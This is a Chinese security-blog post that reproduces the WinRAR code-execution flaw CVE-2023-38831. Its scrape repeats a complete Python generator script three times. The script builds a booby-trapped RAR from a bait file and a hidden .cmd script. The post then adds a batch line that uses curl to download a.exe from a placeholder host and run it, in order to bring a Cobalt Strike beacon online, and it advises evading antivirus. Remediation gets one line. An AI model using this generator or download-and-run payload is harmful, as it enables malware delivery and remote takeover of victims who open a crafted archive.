前言
![图片[1]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/08/9e1e2c6766143537.png)
WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。
漏洞复现
利用代码
#!/usr/bin/env python3# -*- coding: utf-8 -*-import shutilimport osimport sysTEMPLATE_NAME = \"TEMPLATE\"OUTPUT_NAME = \"CVE-2023-38831-poc.rar\"BAIT_NAME = \"test.txt\"SCRIPT_NAME = \"test.bat\"def main():global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量# 处理命令行参数if len(sys.argv) > 3:BAIT_NAME = os.path.basename(sys.argv[1])SCRIPT_NAME = os.path.basename(sys.argv[2])OUTPUT_NAME = os.path.basename(sys.argv[3])elif len(sys.argv) == 2 and sys.argv[1] == \"poc\":passelse:print(\"\"\"用法:python cve-2023-38831-exp-gen.py pocpython cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>\"\"\")sys.exit()# 提取鱼叉文件名的扩展名BAIT_EXT = b\".\" + bytes(BAIT_NAME.split(\".\")[-1], \"utf-8\")print(\"鱼叉文件名:\", BAIT_NAME)print(\"脚本文件名:\", SCRIPT_NAME)print(\"输出文件名:\", OUTPUT_NAME)# 清理并创建必要的目录if os.path.exists(TEMPLATE_NAME):shutil.rmtree(TEMPLATE_NAME)os.mkdir(TEMPLATE_NAME)d = os.path.join(TEMPLATE_NAME, BAIT_NAME + \"A\")if not os.path.exists(d):os.mkdir(d)# 复制文件到模板目录shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + \"A.cmd\"))shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + \"B\"))# 创建模板目录的 zip 压缩文件shutil.make_archive(TEMPLATE_NAME, \'zip\', TEMPLATE_NAME)# 读取、修改并写回 zip 压缩文件with open(TEMPLATE_NAME + \".zip\", \"rb\") as f:content = f.read()content = content.replace(BAIT_EXT + b\"A\", BAIT_EXT + b\" \")content = content.replace(BAIT_EXT + b\"B\", BAIT_EXT + b\" \")os.remove(TEMPLATE_NAME + \".zip\")# 将修改后的内容保存为最终输出文件with open(OUTPUT_NAME, \"wb\") as f:f.write(content)print(\"成功生成漏洞利用代码。\")if __name__ == \"__main__\":main()#!/usr/bin/env python3 # -*- coding: utf-8 -*- import shutil import os import sys TEMPLATE_NAME = \"TEMPLATE\" OUTPUT_NAME = \"CVE-2023-38831-poc.rar\" BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\" def main(): global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量 # 处理命令行参数 if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == \"poc\": pass else: print(\"\"\"用法: python cve-2023-38831-exp-gen.py poc python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>\"\"\") sys.exit() # 提取鱼叉文件名的扩展名 BAIT_EXT = b\".\" + bytes(BAIT_NAME.split(\".\")[-1], \"utf-8\") print(\"鱼叉文件名:\", BAIT_NAME) print(\"脚本文件名:\", SCRIPT_NAME) print(\"输出文件名:\", OUTPUT_NAME) # 清理并创建必要的目录 if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = os.path.join(TEMPLATE_NAME, BAIT_NAME + \"A\") if not os.path.exists(d): os.mkdir(d) # 复制文件到模板目录 shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + \"A.cmd\")) shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + \"B\")) # 创建模板目录的 zip 压缩文件 shutil.make_archive(TEMPLATE_NAME, \'zip\', TEMPLATE_NAME) # 读取、修改并写回 zip 压缩文件 with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(BAIT_EXT + b\"A\", BAIT_EXT + b\" \") content = content.replace(BAIT_EXT + b\"B\", BAIT_EXT + b\" \") os.remove(TEMPLATE_NAME + \".zip\") # 将修改后的内容保存为最终输出文件 with open(OUTPUT_NAME, \"wb\") as f: f.write(content) print(\"成功生成漏洞利用代码。\") if __name__ == \"__main__\": main()#!/usr/bin/env python3 # -*- coding: utf-8 -*- import shutil import os import sys TEMPLATE_NAME = \"TEMPLATE\" OUTPUT_NAME = \"CVE-2023-38831-poc.rar\" BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\" def main(): global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量 # 处理命令行参数 if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == \"poc\": pass else: print(\"\"\"用法: python cve-2023-38831-exp-gen.py poc python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>\"\"\") sys.exit() # 提取鱼叉文件名的扩展名 BAIT_EXT = b\".\" + bytes(BAIT_NAME.split(\".\")[-1], \"utf-8\") print(\"鱼叉文件名:\", BAIT_NAME) print(\"脚本文件名:\", SCRIPT_NAME) print(\"输出文件名:\", OUTPUT_NAME) # 清理并创建必要的目录 if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = os.path.join(TEMPLATE_NAME, BAIT_NAME + \"A\") if not os.path.exists(d): os.mkdir(d) # 复制文件到模板目录 shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + \"A.cmd\")) shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + \"B\")) # 创建模板目录的 zip 压缩文件 shutil.make_archive(TEMPLATE_NAME, \'zip\', TEMPLATE_NAME) # 读取、修改并写回 zip 压缩文件 with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(BAIT_EXT + b\"A\", BAIT_EXT + b\" \") content = content.replace(BAIT_EXT + b\"B\", BAIT_EXT + b\" \") os.remove(TEMPLATE_NAME + \".zip\") # 将修改后的内容保存为最终输出文件 with open(OUTPUT_NAME, \"wb\") as f: f.write(content) print(\"成功生成漏洞利用代码。\") if __name__ == \"__main__\": main()
这里我们只是测试谈一侧计算器即可
参考代码,需要生成俩个文件
BAIT_NAME = \"test.txt\"SCRIPT_NAME = \"test.bat\"BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\"BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\"
新建一个空的test.txt,
还有一个批处理文件test.bat
test.bat
中写入需要运行的命令 这里写入calc
![图片[2]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/08/d2b5ca33bd143839.png)
运行脚本:
python cve-2023-38831-exp-gen.py pocpython cve-2023-38831-exp-gen.py pocpython cve-2023-38831-exp-gen.py poc
即可生成恶意rar文件:CVE-2023-38831-poc.rar
![图片[3]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/08/d2b5ca33bd143954.png)
需要上线cs的话,可以修改test.bat文件内容为:
curl http://xxxxxxx/a.exe -o a.exe & start a.exe & exitcurl http://xxxxxxx/a.exe -o a.exe & start a.exe & exitcurl http://xxxxxxx/a.exe -o a.exe & start a.exe & exit
做好免杀就可以上线啦
修复
更新至最新版winrar
参考链接:
https://mp.weixin.qq.com/s/y5UqG5NuUtSHa7-i9AXVyw
暂无评论内容